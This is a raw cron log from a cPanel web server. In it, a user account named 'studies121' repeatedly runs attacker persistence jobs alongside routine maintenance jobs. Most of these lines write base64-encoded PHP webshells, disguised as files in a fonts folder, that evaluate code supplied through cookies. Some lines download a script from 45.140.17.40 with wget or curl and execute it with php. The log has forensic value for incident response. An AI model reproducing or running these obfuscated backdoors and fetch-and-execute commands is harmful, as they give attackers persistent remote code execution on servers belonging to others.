Sep  8 02:10:01 ip-184-168-122-23 CROND[22529]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 02:10:01 ip-184-168-122-23 CROND[22536]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 02:11:01 ip-184-168-122-23 CROND[22673]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 02:11:01 ip-184-168-122-23 CROND[22675]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 02:11:01 ip-184-168-122-23 CROND[22674]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 02:11:01 ip-184-168-122-23 CROND[22676]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 02:12:01 ip-184-168-122-23 CROND[22794]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 02:12:01 ip-184-168-122-23 CROND[22795]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 02:12:01 ip-184-168-122-23 CROND[22796]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 02:12:01 ip-184-168-122-23 CROND[22797]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 02:12:01 ip-184-168-122-23 CROND[22798]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 02:13:01 ip-184-168-122-23 CROND[22878]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 02:13:01 ip-184-168-122-23 CROND[22879]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 02:13:01 ip-184-168-122-23 CROND[22880]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 02:13:01 ip-184-168-122-23 CROND[22881]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 02:14:02 ip-184-168-122-23 CROND[22989]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 02:14:02 ip-184-168-122-23 CROND[22992]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 02:14:02 ip-184-168-122-23 CROND[22994]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 02:14:02 ip-184-168-122-23 CROND[22991]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 02:14:02 ip-184-168-122-23 CROND[22996]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 02:15:02 ip-184-168-122-23 CROND[23092]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 02:15:02 ip-184-168-122-23 CROND[23093]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  8 02:15:02 ip-184-168-122-23 CROND[23094]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 02:15:02 ip-184-168-122-23 CROND[23100]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 02:15:02 ip-184-168-122-23 CROND[23099]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 02:15:02 ip-184-168-122-23 CROND[23097]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 02:15:02 ip-184-168-122-23 CROND[23101]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 02:16:01 ip-184-168-122-23 CROND[23279]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 02:16:01 ip-184-168-122-23 CROND[23281]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 02:16:01 ip-184-168-122-23 CROND[23284]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 02:16:01 ip-184-168-122-23 CROND[23285]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 02:16:01 ip-184-168-122-23 CROND[23283]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  8 02:16:01 ip-184-168-122-23 CROND[23282]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 02:17:01 ip-184-168-122-23 CROND[23371]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 02:17:01 ip-184-168-122-23 CROND[23372]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 02:17:01 ip-184-168-122-23 CROND[23373]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 02:17:01 ip-184-168-122-23 CROND[23370]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 02:18:01 ip-184-168-122-23 CROND[23461]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 02:18:02 ip-184-168-122-23 CROND[23464]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 02:18:02 ip-184-168-122-23 CROND[23463]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 02:18:02 ip-184-168-122-23 CROND[23466]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 02:18:02 ip-184-168-122-23 CROND[23465]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 02:19:01 ip-184-168-122-23 CROND[23612]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 02:19:01 ip-184-168-122-23 CROND[23613]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 02:19:01 ip-184-168-122-23 CROND[23614]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 02:19:01 ip-184-168-122-23 CROND[23615]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 02:20:01 ip-184-168-122-23 CROND[23719]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 02:20:01 ip-184-168-122-23 CROND[23722]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  8 02:20:01 ip-184-168-122-23 CROND[23724]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 02:20:01 ip-184-168-122-23 CROND[23727]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 02:20:01 ip-184-168-122-23 CROND[23729]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 02:20:01 ip-184-168-122-23 CROND[23725]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 02:20:01 ip-184-168-122-23 CROND[23730]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 02:20:01 ip-184-168-122-23 CROND[23728]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 02:20:01 ip-184-168-122-23 CROND[23732]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 02:21:01 ip-184-168-122-23 CROND[23942]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 02:21:01 ip-184-168-122-23 CROND[23943]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 02:21:01 ip-184-168-122-23 CROND[23941]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 02:21:01 ip-184-168-122-23 CROND[23944]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 02:22:01 ip-184-168-122-23 CROND[24055]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 02:22:01 ip-184-168-122-23 CROND[24057]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 02:22:01 ip-184-168-122-23 CROND[24058]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 02:22:01 ip-184-168-122-23 CROND[24059]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 02:22:01 ip-184-168-122-23 CROND[24060]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 02:23:01 ip-184-168-122-23 CROND[24156]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
